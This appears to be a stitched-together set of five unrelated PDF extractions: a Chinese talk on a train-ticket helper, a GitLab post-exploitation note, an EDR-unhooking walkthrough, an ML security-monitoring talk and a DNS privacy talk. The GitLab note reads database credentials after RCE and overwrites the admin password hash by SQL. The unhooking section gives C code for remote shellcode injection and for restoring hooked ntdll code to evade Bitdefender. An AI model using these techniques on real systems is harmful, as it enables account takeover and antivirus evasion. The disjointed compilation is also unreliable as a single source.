采取了轮询的策略,在没有得到响应的情 况下,五秒钟后自动重试 订票助手和GitHub • 而GitHub的限制比较严格,在403错误返回后,如 果继续,会连续返回403错误。因此,当渐入订票 高峰期的时候,请求量会随着人数的增加很快暴 增,导致GitHub方面注意到哪怕仅仅返回403而不 是正常响应的影响 • 由于返回数据不正常,老版本的助手得不到更新 ,所以无法从开发者的层次去解决问题 • 后期与OPS团队沟通后,将相关的文件转移到新浪 SAE上(重定向请求),解决了这个问题。 订票助手和GitHub • 在SAE上订票助手产生了多少流量? 订票助手和GitHub • 后来传说GitHub被大陆的长城防火墙(GFW )封锁。因为之前的12306事件,外界普遍 认为是因为订票助手的关系,铁道部要求 封的 • 李开复发表声明抗议被封 • 此外也有人提出建议是因为有人在GitHub上 搭建了政治敏感类话题导致GitHub被封锁 • 在几天后GitHub服务恢复。此次事件被媒体 定义为一例春运影响世界的事例。 订票助手和GitHub • 在此次事件中得到的总结: • GitHub作为一个托管网站,负载能力是很低 的,在需要请求量的情况下,应避免引用 或使用GH Pages • 在任何时候,重试型的操作都应该遵循有 穷原则,而不能无限操作 订票助手和铁道部 • 因为一定程度上来说,铁道部是政府机构 ,而民间和政府机构素来容易产生恩怨 • 在春运时,寄予重大期望的铁道部总是让 人失望,因此容易积怨。尤其在春运时刻 ,铁道部是媒体和舆论的中心地带 • 订票助手的用户在春运时暴增并广为传播 ,因此媒体和网民注意。 • 在GitHub事件发酵之后,订票助手同时引起 了铁道部注意 订票助手和铁道部 • 订票助手提供的强大功能和12306本身的功 能引起反差,导致网民和媒体吐槽网站本 身难用 • 而买不到票的大量人群同时发起了对订票 助手类工具导致他们更难买的争论 • 铁道部在各种事件的压力之下,决定封杀 订票助手 订票助手和铁道部 • 最初封杀订票助手主要依赖于约谈手段 • 17日夜间,铁道部下属铁路公安共三人找 到订票助手作者住处,要求作者停止开发 订票助手,并移除所有下载 • 针对市场上曝光度最高的猎豹浏览器抢票 办,铁道部也约谈企业负责人要求停止下 载 订票助手和铁道部 • 在媒体和社交界,争论的焦点在于公平性 ,有人认为此类工具提供的方便功能会导 致不会用的人失去更多的买票机会。 • 但基本舆论导向是铁道部自身的问题 • 后期政府媒体偏向逐渐偏移,从挺12306转 变为对铁道部提出批评 • 工信部后期否认发文要求各公司停止提供 软件下载,并声明鼓励创新 订票助手和铁道部 • 铁道部对铁道部的封杀从政策上转变为技 术上 • 订票助手和铁道部的对抗转变为技术上的 对抗。 • 截止春节前的二十天内,订票助手升级四 十多个版本,最高一日升级四次 订票助手和铁道部 铁道部对订票助手主要的反制手段包括: 1.浏览器限制 2.页面请求来源限制 3.行为限制 4.修改页面结构或函数签名等 订票助手和铁道部 浏览器限制。 有段时间针对猎豹浏览器UA检测,是猎豹浏 览器的返回空白响应,从而直接阻止用户使 用猎豹浏览器买票。 由于此方式过于粗暴,因此广受批评。猎豹 紧急升级浏览器,伪装成IE,后铁道部取消了 这个屏蔽方案。 订票助手和铁道部 页面请求来源限制 在助手的运行过程中,为了综合完成功能的 实现,可能会跨页面调用功能接口函数。这 就给铁道部的检测留下了空间。 检测到当前函数的调用不是在他们预期的页 订票助手和铁道部 行为限制 铁道部还会通过相关的用户行为检测助手的存在。检测手段的基本思路是,『用户不会这 样做』,以及『用户的动作不会这样快』。 『用户不会这样做』是指通过第三方加入的新的快捷操作,比如登录后原系统是要先进入 欢迎页的,而助手则允许用户直接进入查票页面。此时如果助手再直接跳转,那么铁道部 会通过检测Referrer来判断不是用户手动操作的,然后将用户强行退出登录,以让用户莫名 其妙的方式来阻止用户使用助手。 『用户的动作不会这样快』的经典案例是验证码。助手引入的一些自动化功能能显著提高 用户点击预定后的提交速度,为了限制,铁道部会检测在点击预订后多少时间内用户便提 交订单,短于指定时间则直接判断为非法操作。 订票助手和铁道部 修改页面结构或函数签名等 铁道部会通过一些简单的修改来阻止用户用 助手,主要为修改助手会要调用的函数名, 从而阻止助手的正常运行。 修改的方式比较简单,往往是在名字中加个 别单词做修饰,或者只是把命名换一下。 订票助手和铁道部 总结说来,铁道部在对抗时期使用的手段是 比较简单的,短时间内的效果也比较显著, 但也很容易用技术手段绕过。 典型的例子是,当发现铁道部修改之后,一 般半小时内就可以有新版本的助手放出来。 但总结而言,铁道部这些限制最大的问题是 订票助手和铁道部 在后期,为了应对铁道部的限制措施,尤其是为了在铁道部限制的情况 下不因为助手本身让用户蒙受损失,助手在这方面下了很大的精力,这 些主要包括: •自动检测网站的版本,当检测到版本变更的时候提醒用户可能会有损失 ,提醒先测试; •修改一些处理方式,加强对函数名、地址修改等简单修改的自动检测能 力; •引入后台请求拦截技术,对助手发出的请求进行伪装,防止被铁道部限 制; 订票助手的未来 其实对抗不是目的,用自己掌握的技术让更 多的人买票更方便更简洁才是最终的目的。 唯一遗憾的是票总是那么多,总会有那么多 人买不到。 所以寄希望大陆发展会越来越好,让人们不 再背井离乡。那么这个问题,也就不复存在 了。 谢 谢 !
pdf
通过gitlab RCE后,可以拿数据库密码,⽬录⼀般在gitlab config/database.yml⽂件中 先获取root的密⽂,弄完还原回去 cat config/database.yml # # PRODUCTION # production: adapter: postgresql encoding: unicode database: gitlabhq_production host: postgresql port: 5432 username: gitlab password: "password" pool: 10 prepared_statements: true select * from users where id =1; $2a$10$G7Iib3hrjEJmmpNkwvR16Oxjk0QslIPZ28NoKd41i/aWfonXlwwui 12345678的密⽂值为$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa 修改密码为12345678 update users set encrypted_password='$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa' where e id =1; gitlab ce没办法搜索关键字,需要⾃⼰写爬⾍,可以参考以前应急时候写的辣鸡代码 https://github.com/LoveCppp/gitlabSearch
pdf
测试环境安装了bitdefender,方便查看Hook情况,使用x64debug进行进程调试,运行notepad 进程,然后使用x64debug附加到进程,x64debug中断 在Symbols标签搜索Token类函数可以看到与Token类相关的函数。 我们选择NtAdjustGroupsToken,双击,便可以进入到该函数的调用流程 也就是我们常见的形式: 但如果我们选择NtAdjustPrivilegeToken: 可以看到直接进入了一个jmp的跳转。我们跟进去: mov r10,rcx 1 mov eax,xx 2 syscall 3 里面是一些mov语句然后push rax,然后ret执行,我们可以使用Ctrl+G进跟踪 跟进去之后可以发现其调用了bitdefender的dll 除此之外可以勾选DLL Load,便可以清楚的在调试过程中看到DLL的Load情况 然后我们便可以知道我们的api调用会被atcuf64所截获。图示如下: 下面是Hook如何进行函数检测并使得我们常见的shellcode执行方法失效的。shellcode注入主要代码 demo如下: unHook与代码注入 hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 1 PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, 2 FALSE, (DWORD) pid); 3 pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ); 4 WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL); 5 6 hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL); 7 if (hThread != NULL) { 8 WaitForSingleObject(hThread, 500); 9 CloseHandle(hThread); 10 return 0; 11 编译运行,无法注入到指定进程,因为所使用的函数已经被监控直接被干掉了.这里使用FreshCopy的 方式进行Unhook核心代码如下: } 12 DWORD oldprotect = 0; 1 PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping; 2 PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew); 3 int i; 4 5 6 unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 }; 7 8 VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sVirtualProtect); 9 10 // find .text section 11 for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) { 12 PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER) ((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + 13 ((DWORD_PTR) IMAGE_SIZEOF_SECTION_HEADER * i)); 14 15 16 if (!strcmp((char *) pImgSectionHead->Name, ".text")) { 17 18 VirtualProtect_p((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead- >VirtualAddress), 19 pImgSectionHead->Misc.VirtualSize, 20 PAGE_EXECUTE_READWRITE, 21 &oldprotect); 22 if (!oldprotect) { 23 24 return -1; 25 } 26 27 memcpy( (LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead- >VirtualAddress), 28 (LPVOID)((DWORD_PTR) pMapping + (DWORD_PTR) pImgSectionHead- >VirtualAddress), 29 pImgSectionHead->Misc.VirtualSize); 30 unhook前 unhook之后,右键审计模块 31 32 33 VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR) pImgSectionHead- >VirtualAddress), 34 pImgSectionHead->Misc.VirtualSize, 35 oldprotect, 36 &oldprotect); 37 if (!oldprotect) { 38 39 return -1; 40 } 41 return 0; 42 } 43 } 44 45 46 成功注入
pdf
Secure&Because&Math:&A&Deep1Dive&on& Machine&Learning1Based&Monitoring& (#SecureBecauseMath)& Alex%Pinto% Chief%Data%Scien2st%|%MLSec%Project%% @alexcpsec% @MLSecProject! Alex%Pinto% •  Chief%Data%Scien2st%at%MLSec%Project% •  Machine%Learning%Researcher%and%Trainer% •  Network%security%and%incident%response%aficionado%% •  Tortured%by%SIEMs%as%a%child% •  Hacker%Spirit%Animal™:%CAFFEINATED%CAPYBARA! whoami& (hPps://secure.flickr.com/photos/kobashi_san/)% % •  Security%Singularity% •  Some%History% •  TLA% •  ML%Marke2ng%PaPerns% •  Anomaly%Detec2on% •  Classifica2on% •  Buyer’s%Guide% •  MLSec%Project% Agenda& Security&Singularity&Approaches& (Side&Note)& First%hit%on%Google%images%for%“Network%Security%Solved”%is%a% picture%of%Jack%Daniel! Security&Singularity&Approaches& •  “Machine%learning%/%math%/%algorithms…%these%terms%are% used%interchangeably%quite%frequently.”% •  “Is%behavioral%baselining%and%anomaly%detec2on%part%of% this?”% •  “What%about%Big%Data%Security%Analy2cs?”% % (hPp://bigdatapix.tumblr.com/)% Are&we&even&trying?& •  “Hyper`dimensional%security% analy2cs”% •  “3rd%genera2on%Ar2ficial% Intelligence”% •  “Secure%because%Math”% % •  Lack%of%ability%to%differen2ate% hurts%buyers,%investors.% •  Are%we%even%funding%the%right% things?% Is&this&a&communicaCon&issue?& Guess&the&Year!& •  “(…)%behavior%analysis%system%that%enhances%your% network%intelligence%and%security%by%audi2ng%network% flow%data%from%exis2ng%infrastructure%devices”% •  "Mathema2cal%models%(…)%that%determine%baseline% behavior%across%users%and%machines,%detec2ng%(...)% anomalous%and%risky%ac2vi2es%(...)”% •  ”(…)%maintains%historical%profiles%of%usage%per%user%and% raises%an%alarm%when%observed%ac2vity%departs%from% established%paPerns%of%usage%for%an%individual.”%% A&liGle&history& •  Dorothy%E.%Denning%(professor%at%the% Department%of%Defense%Analysis%at%the% Naval%Postgraduate%School)% •  1986%(SRI)%`%First%research%that%led% to%IDS% •  Intrusion%Detec2on%Expert%System% (IDES)% •  Already%had%sta2s2cal%anomaly% detec2on%built`in% •  1993:%Her%colleagues%release%the%Next% Genera2on%(!)%IDES% Three&LeGer&Acronyms&1&KDD& •  Ajer%the%release%of%Bro%(1998)%and%Snort%(1999),%DARPA% thought%we%were%covered%for%this%signature%thing% •  DARPA%released%datasets%for%user%anomaly%detec2on%in% 1998%and%1999% •  And%then%came%the%KDD`99%dataset%–%over%6200%cita2ons% on%Google%Scholar% Three&LeGer&Acronyms& Three&LeGer&Acronyms&1&KDD& Trolling,&maybe?& Not&here&to&bash&academia& A&Probable&Outcome& GRAD& SCHOOL& FRESHMAN& ZOMG& RESULTS&!! 11!1!& ZOMG!& RESULTS???& MATH,&STAHP!& MATH&IS& HARD,&LET’S& GO&SHOPPING& ML&MarkeCng&PaGerns& •  The%“Has`beens”%% •  Name%is%a%bit%harsh,%but%hey,%you%hardly%use%ML% anymore,%let%us%try%it% •  The%“Machine%Learning%o\_()_/o”% •  Hey,%that%sounds%cool,%let’s%put%that%in%our%brochure% •  The%“Sweet%Spot”% •  People%that%actually%are%trying%to%do%something% •  Anomaly%Detec2on%vs.%Classifica2on% Anomaly&DetecCon& Anomaly&DetecCon& •  Works%wonders%for%well% defined%“industrial`like”% processes.% •  Looking%at%single,% consistently%measured% variables% •  Historical%usage%in%financial% fraud%preven2on.% Anomaly&DetecCon& Anomaly&DetecCon& •  What%fits%this%mold?% •  Network/Neqlow%behavior%analysis%% •  User%behavior%analysis% •  What%are%the%challenges?% •  Curse%of%Dimensionality% •  Lack%of%ground%truth%and%normality%poisoning% •  Hanlon’s%Razor% AD:&Curse&of&Dimensionality& •  We%need%“distances”%to%measure% the%features/variables% •  Usually%ManhaPan%or%Euclidian% •  For%high`dimensional%data,%the% distribu2on%of%distances%between% all%pairwise%points%in%the%space% becomes%concentrated%around%an% average%distance.% AD:&Curse&of&Dimensionality& •  The%volume%of%the%high% dimensional%sphere% becomes%negligible%in% rela2on%to%the%volume%of% the%high%dimensional%cube.% •  The%prac2cal%result%is%that% everything%just%seems%too% far%away,%and%at%similar% distances.% (hPp://www.datasciencecentral.com/m/blogpost? id=6448529%3ABlogPost%3A175670)% A&PracCcal&example& •  NetFlow%data,%company%with%n%internal%nodes.% •  2(nˆ2%`%n)%communica2on%direc2ons% •  2*2*2*65535(nˆ2%`%n)%measures%of%network%ac2vity% •  1000%nodes%`>%Half%a%trillion%possible%dimensions% Breaking&the&Curse& •  Different%/%crea2ve% distance%metrics% •  Organizing%the%space%into% sub`manifolds%where% Euclidean%distances%make% more%sense.% •  Aggressive%feature% removal% •  A%few%interes2ng%results% available% Breaking&the&Curse& AD:&Normality1poisoning&aGacks& •  Ground%Truth%(labels)%>>%Features%>>%Algorithms% •  There%is%no%(or%next%to%none)%Ground%Truth%in%AD% •  What%is%“normal”%in%your%environment?% •  Problem%asymmetry% •  Solu2ons%are%biased%to%the%prevalent%class% •  Very%hard%to%fine`tune,%becomes%prone%to%a%lot%of%false% nega2ves%or%false%posi2ves% AD:&Normality1poisoning&aGacks& AD:&Hanlon’s&Razor& Never attribute to malice that which is adequately explained by stupidity. AD:&Hanlon’s&Razor& vs! Evil%Hacker! Hipster%Developer% (a.k.a.%MaP%Johansen)! What&about&User&Behavior?& •  Surprise,%it%kinda%works!%(as%supervised,%that%is)% •  As%specific%implementa2ons%for%specific%solu2ons% •  Good%stuff%from%Square,%AirBnB% •  Well%defined%scope%and%labeling.% •  Can%it%be%general%enough?% •  File%exfiltra2on%example%(roles/info%classifica2on% are%mandatory?)% •  Can%I%“average%out”%user%behaviors%in%different% applica2ons?% ClassificaCon!& VS! •  Lots%of%available%academic%research%around%this% •  Classifica2on%and%clustering%of%malware%samples% •  More%success%into%classifying%ar2facts%you%already%know%to% be%malware%then%to%actually%detect%it.%(Lineage)% •  State%of%the%art?%My%guess%is%AV%companies!% •  All%of%them%have%an%absurd%amount%of%samples% •  Have%been%researching%and%consolida2ng%data%on%them% for%decades.% Lots&of&Malware&AcCvity& •  Can%we%do%bePer%than%“AV%Heuris2cs”?% •  Lots%and%lots%of%available%data%that%has%been%made%public% •  Some%of%the%papers%also%suffer%from%poten2ally%bad%ground% truth.% Lots&of&Malware&AcCvity& VS! Lots&of&Malware&AcCvity& VS! Everyone&makes&mistakes!& •  Private%Beta%of%our%Threat%Intelligence`based%models:% •  Some%use%TI%indicator%feeds%as%blocklists% •  More%mature%companies%use%the%feeds%to%learn%about% the%threats%(Trained%professionals%only)% •  Our%models%extrapolate%the%knowledge%of%exis2ng%threat% intelligence%feeds%as%those%experienced%analysis%would.% •  Supervised%model%w/same%data%analyst%has% •  Seeded%labeling%from%TI%feeds% How&is&it&going&then,&Alex?& •  Very%effec2ve%first%triage%for%SOCs%and%Incident%Responders% •  Send%us:%log%data%from%firewalls,%DNS,%web%proxies% •  Receive:%Report%with%a%short%list%of%poten2al% compromised%machines% •  Would%you%rather%download%all%the%feeds%and%integrate%it% yourself?% •  MLSecProject/Combine% •  MLSecProject/TIQ`test% % Yeah,&but&why&should&I&care?& •  Huge%amounts%of%TI%feeds%available%now%(open/commercial)% •  Non`malicious%samples%s2ll%challenging,%but%we%have% expanded%to%a%lot%of%collec2on%techniques%from%different% sources.% •  Very%high`ranked%Alexa%/%Quan2cast%/%OpenDNS% Random%domains%as%seeds%for%search%of%trust% •  Helped%by%the%customer%logs%as%well%in%a%semi` supervised%fashion% What&about&the&Ground&Truth& (labels)?& •  Vast%majority%of%features%are%derived%from%structural/ intrinsic%data:% •  GeoIP,%ASN%informa2on,%BGP%Prefixes% •  pDNS%informa2on%for%the%IP%addresses,%hostnames% •  WHOIS%informa2on% •  APacker%can’t%change%those%things%without%cost.% •  Log%data%from%the%customer,%can,%of%course.%But%this%does% not%make%it%worse%than%human%specialist.% But&what&about&data&tampering?& •  False%posi2ves%/%false%nega2ves%are%an%intrinsic%part%of%ML.% •  “False%posi2ves%are%very%good,%and%would%have%fooled%our% human%analysts%at%first.”% •  Their%feedback%helps%us%improve%the%models%for%everyone.% •  Remember%it%is%about%ini2al%triage.%A%Tier`2/Tier`3%analyst% must%inves2gate%and%provide%feedback%to%the%model.% And&what&about&false&posiCves?& •  1)%What%are%you%trying%to%achieve%with%adding%Machine% Learning%to%the%solu2on?% •  2)%What%are%the%sources%of%Ground%Truth%for%your%models?% •  3)%How%can%you%protect%the%features%/%ground%truth%from% adversaries?% •  4)%How%does%the%solu2on/processes%around%it%handle%false% posi2ves?%! Buyer’s&Guide& % #NotAllAlgorithms! Buyer’s&Guide& MLSec&Project& •  Don’t%take%my%word%for%it!%Try%it%out!!% •  Help%us%test%and%improve%the%models!% •  Looking%for%par2cipants%and%data%sharing%agreements% •  Limited%capacity%at%the%moment,%so%be%pa2ent.%:)% % •  Visit%hGps://www.mlsecproject.org%,%message%@MLSecProject% or%just%e`mail%me.! Thanks!& •  Q&A?% •  Don’t%forget%the%feedback!% Alex%Pinto%% @alexcpsec% @MLSecProject% ”We%are%drowning%on%informa2on%and%starved%for%knowledge"%% % % % % %%% %%%`%John%NaisbiP%%
pdf
DNS - Devious Name Services Destroying Privacy & Anonymity Without Your Consent Jim Nitterauer Senior Security Specialist Disclaimer Information disclosed in this presentation is intended to help improve your security & privacy posture and should not be used for unethical purposes The concepts presented are in no way meant to imply original research on my part or on the part of my employer Information presented here is gathered from public and private sources with proper references and credit provided where applicable The views expressed in this talk are not necessarily the views of my employer Why Am I Here? Why Am I here? http://bestvpnprovider.co/wp-content/uploads/2015/01/VPN-Blocked-in-China-The-Great-Firewall-Strikes-Again.png Why Am I here? Thank You Thank You @jack_daniel from your @BSidesLV family Agenda Review DNS, EDNS0 extensions and Option Codes Discuss the Rationale for EDNS0 Use Examine EDNS Client Subnet (ECS) Review DNS Resolver Support Examine Tools & Procedures for Testing Discuss Privacy Implications of EDNS0 OPT Codes Discuss Potential for Abuse Questions & answers Goals for Today Understand the basics about EDNS OPT RRs Understand the potential threat to your privacy Have direction for detecting the use of EDNS OPTs Be able to better insure your online privacy Brief History of DNS Brief History of DNS Introduced in 1983 by Paul Mockapetris & Jon Postel Information Sciences Institute – USC RFC 882 & RFC 883 both updated by RFC 973 in 1986 Obsoleted by two RFCs in 1987 • RFC 1034 – Describes the data structure and exchange of data • RFC 1035 – Describes record and infrastructure format Brief History of DNS Distributed database Main components • Namespace • Resource Records (RRs) • Resolvers • Name Servers Brief History of DNS • Defining Master (Primary) / Slave (Secondary) relationship • Adding Notify • Adding IXFR (Incremental Zone Transfers) Improved DNS by Image from https://technet.microsoft.com/en-us/library/bb962069.tcpipm09_big(l=en-us).gif Brief History of DNS • Implementing Dynamic Updates – RFC 2136 • Adding Extension Mechanisms for DNS (EDNS0) - RFC 2671 & RFC 6891 Improved DNS by Brief History of DNS • Adding clarifications - RFC 2181 • Implementing provisions for negative responses - RFC 2308 Improved DNS by Brief History of DNS • Implementing DNS Security (DNSSEC) - RFC 2535 now RFC 6840 • Promoting the use of EDNS OPT Codes Improved DNS by Brief History of DNS https://webhostinggeeks.com/guides/dns/DNS_221215.pdf EDNS RFC 2671 & 6891 RFC 2671 proposed by Paul Vixie in 1999` Replaced by RFC 6891 in 2013 Overcomes 512 byte UDP packet size limit Support required for certain modern DNS features Defines transport standards Defines option format & assignments EDNS Option Codes • See https://www.iana.org/assignments/dns- parameters/dns-parameters.xhtml#dns- parameters-11 Long list of RFCs and Drafts • 11 RFCs • 3 Drafts There are approximately 17 codes in use • Future expansion • Don’t confuse w/ Opcode 65,535 possible code assignments EDNS Option Codes • Extends RCODE field from 4 to 12 bytes Resource Record Type 41 • EDNS(0) Defines OPT Record RFC 6891 • Defines support for DNSSEC RFC 3225 EDNS Option Codes OPT Resource Record Format EDNS Option Codes OPT Record TTL Field EDNS Option Codes OPT RR RDATA Structure EDNS Option Codes EDNS Option Codes https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-11 EDNS Option Codes Additional Drafts https://www.ietf.org/id/ EDNS Option Codes 0 Reserved 1 LLQ Draft (expired) DNS Long Lived Queries Apple 2 UL Draft (expired) Dynamic DNS Update Leases Apple 3 NSID RFC 5001 DNS Name Server Identifier ISC 4 Draft - Expired 5 DAU RFC 6975 DNSSEC NIST 6 DHU RFC 6975 DNSSEC NIST 7 N3U RFC 6975 DNSSEC NIST 8 ECS RFC 7871 EDNS Client Subnet Google Akamai 9 EDNS EXP RFC 7314 SOA Expire Identifier ISC Review of OPT Option Codes Code Name Status Description Vendor EDNS Option Codes 10 COOKIE RFC 7873 DNS Cookies ISC, Huawei 11 EDNS-TCP RFC 7828 TCP Keepalive Red Hat, Dyn, ISC 12 PADDING RFC 7830 Random Padding GmbH 13 CHAIN RFC 7901 CHAIN Query Requests Red Hat 14 EDNS KEY RFC 8145 DNSSEC Verisign, Google, ICANN 26946 DEVICEID Experimental Umbrella Device ID Cisco Proposed Drafts UA ISP LOC Draft ISP Location in DNS CNNIC UA CLIENT ID Draft Client ID in Forwarded DNS Charter, Akamai Review of OPT Option Codes Code Name Status Description Vendor EDNS Use Cases OPT Option Codes 5,6 & 7 • All related to DNSSEC implementation • Let’s resolvers know which cryptographic algorithm was used to generate the digital signature • Specifies a way for validating end-system resolvers to tell a server in a DNS query which digital signature and/or hash algorithms they support • OPT 5 – DNSSEC Algorithm Understood (DAU) • OPT 6 – DS Hash Understood (DHU) • OPT 7 – NSEC3 Hash Understood (N3U) EDNS Use Cases • Client subnet in DNS queries • EDNS Client Subnet (ECS) • Let’s all resolvers know the IPv4 WAN or IPv6 address subnet of the requester • Developed to enable Content Delivery Networks via DNS • We will look at bit more into the details shortly OPT Option Code 8 EDNS Use Cases • DeviceID • Used by Cisco Umbrella (Formerly OpenDNS) • Sends the following data – Organization ID – Remote “Internal” IP – Remote IPv6 • Built into Umbrella Client or Umbrella enabled gateways • https://docs.umbrella.com/developer/networkdevices- api/identifying-dns-traffic2 OPT Option Code 26946 EDNS Use Cases • ISP Location in DNS Queries • Proposed by China Internet Network Information Center (CNNIC) • draft-pan-dnsop-edns-isp-location-01 • Claims to be an improvement to privacy • EIL data includes – Country – Area – ISP Draft ISP Location EDNS Use Cases • Client ID in Forwarded DNS Queries • Proposed by Akamai • draft-tale-dnsop-edns0-clientid-01 • Purpose is to provide more precise client identity • Ex – Parental control – Domain access restriction – Compromise attribution Draft Client ID EDNS Client Subnet • Draft-vandergaast-edns-client-subnet-00 Initial Draft • C. Contavalli & W. van der Gaast – Google • S. Leach – Verisign • D. Rodden – Neustar Submitted January 27th, 2011 • Note the date • Ironic that it was changed on Independence Day Revision 02 submitted on July 4th, 2013 • Draft-ietf-dnsop-edns-client-subnet-01 • Added - D. Lawrence – Akamai & W. Kumari – Google Resubmitted May 26th, 2015 EDNS Client Subnet •July 6th, 2015 Revision 02 •August 24th, 2015 Revision 03 •September 25th, 2015 Revision 04 Revision 05 •December 14th, 2015 EDNS Client Subnet •December 15th, 2015 Revision 06 •March 21st, 2016 Revision 07 •April 19th, 2016 Revision 08 •May, 2016 RFC 7871 EDNS Client Subnet • Number WO2013164007 A1 • Jan Seedorf & Mayutan Arumaithurai - Nec Europe Ltd. Patent submitted April 30th, 2012 • U.S. Patent number US20150134730 A1 • Interesting precedent Still shows as Application so not granted EDNS Client Subnet Client • Checks cache • Sends request to resolver Resolver • Checks cache or forwards to root • If resolver supports ECS, sending IP is packaged into OPT RR Data Authoritative • Supplies answer • If ECS aware, it sends back a geo-appropriate answer Client • Receives best route based upon geolocation • All on same subnet get same answer EDNS Client Subnet EDNS Client Subnet Authoritative • Google • Akamai • NS1 • OpenDNS • UltraDNS • PowerDNS • BIND 9.11 • Amazon CloudFront Recursive • Unbound 1.6.2 • PowerDNS • Google • OpenDNS • BIND 9.11 • Amazon CloudFront EDNS Client Subnet Tools For Evaluating Use • No registry showing name service provider support ECS compliant DNS records • You are relegated reading provider tech material or asking • A Faster Internet is not current Name Service Providers • Again no listing or registry. • Rely upon material provided by the DNS provider to uncover support • A Faster Internet is not current Recursive Providers Tools For Evaluating Use • Targets the name server – 8.8.8.8 • Returns a JSON packet • https://www.ietf.org/mail- archive/web/dnsop/current/msg16055.html dig @8.8.8.8 +short -t txt edns- client-sub.net • Targets x.x.x.x • Supplies ECS data y.y.y.y • Check OPT PSEUDOSECTION • CLIENT-SUBNET: y.y.y.y/M1/M2 • M1 is Source Netmask • M2 is Scope Netmask dig @x.x.x.x –t ns avaliddomain.com +subnet=y.y.y.y Tools For Evaluating Use Tools For Evaluating Use Tools For Evaluating Use • Configure to capture DNS traffic • Forward to Graylog instance Beats input Install Packetbeat on your local DNS resolvers • Configure Beats input • Validate data collection Build a Graylog instance (or download VM) • Tag all DNS messages w/ data in packetbeat_dns_opt_subnet field • Correlate to source & destination IPs Create a Stream Tools For Evaluating Use Tools For Evaluating Use • Run on AD DNS server or span port • Or open TCP dump file from Linux host Capture on local interface • Remember there are 65,535 possible OPTS • See what else lurks in your DNS! Filter by dns.opt.code == 8 • Full IP of requester • Subnet mask • Scope mask (all IPs in this mask would get same response) Note the data included in RRDATA Tools For Evaluating Use Tools For Evaluating Use https://svn.nmap.org/nmap/scripts/dns-client-subnet-scan.nse Was developed before dig had +subnet= option added May prove useful for isolated testing Tools For Evaluating Use • Download Alexa Top 1 Million sites - http://s3.amazonaws.com/alexa-static/top-1m.csv.zip • Get 2nd column containing domain names to a new file • Run dig to get the nameservers for each domain to a new file • Sort that file and remove duplicates • Use Python script to query each nameserver & supply ECS data • Parse the options returned and record any that return ClientSubnetOption (or any other option) Tools For Evaluating Use • ARSoft.Tools.Net • Did not find others that supported OPT record manipulation .NET • Dnspython (Nomium project) • Twisted Matrix (limited but growing support) • Getdns-python-bindings • Pydig Python • NET_DNS2 PHP DNS Packages Supporting EDNS OPT Tools For Evaluating Use • Has some DNS functionality for manipulating OPT RR data • Only DNSSEC related info (RFC 2671) • None for working with Option Codes Scapy Privacy & Security Implications Privacy & Security Implications Leaks IP information To every DNS server touched First server may not honor subnet restriction If /32 then all DNS can be attributed to source IP Leaks other data Many OPTs are proprietary w/ no insight into data sent Could be MAC addresses, credentials, etc. Anyone in path could capture that data No disclosure Use not well documented or advertised Implementers can track data w/o your knowledge You have no easy means of opting out Privacy & Security Implications Can return data to client From any DNS server touched my request Data returned might have unexpected impact Malware could use this for C&C traffic Data shared can be manipulated Ex. Using dig, subnet can easily be spoofed Could lead to erroneous attribution Particularly dangerous if law enforcement is involved Third party data recipients Can buy info regarding your DNS habits Competitors and unethical hackers can as well Privacy as it relates to DNS is dead w/o extra measures Privacy & Security Implications Example Correct Configuration in Unbound Privacy & Security Implications Example Incorrect Configuration in Unbound Privacy & Security Implications • Know what’s normal • Route ALL DNS to known resolvers • Lock out non validated DNS at edge • Disable EDNS(0) • Monitor DNS logs or full PCAP • Create IPS rules as needed • Enforce DNSSEC (Stuff will break!) Defensive Options Privacy & Security Implications • Create DNS w/ forged OPT data • Use full VPN tunnel • Tor past that safe end point • Account for IPv6 traffic as well • Use TorGhost (Only IPv4) • Test w/ Wireshark or TCPDump Offensive Options Privacy & Security Implications • Making DNS Stealth – Build DNSCrypt Resolver in cloud – VPN All Traffic from Router to trusted VPN – On client, route all traffic through Tor over VPN w/ TorGhost or similar – Install dnscrypt-proxy on Kali – Set your /etc/resolv.conf nameserver to 127.0.2.1 – Configure local DNS forwarder to connect to your virtual resolver Summary • Allow CDN via DNS • Enables DNSSEC • DNS responses can in response to DDoS • Signature of compromise can be attributed to device OPT data have several useful purposes • All servers in DNS can track data • No standard has been developed for opting out • Forwarding EDNS OPT compromises privacy • No mechanism to verify OPT data is accurate OPT data use have privacy concerns • Data could be easily spoofed • Data mining • Botnet C&C • Data exfiltration OPT data have potential for abuse Wrap Up • Questions & Answers • Contact Info – jnitterauer@appriver.com – @jnitterauer – https://www.linkedin.com/in/jnitterauer – 850-932-5338 ext. 6468
pdf
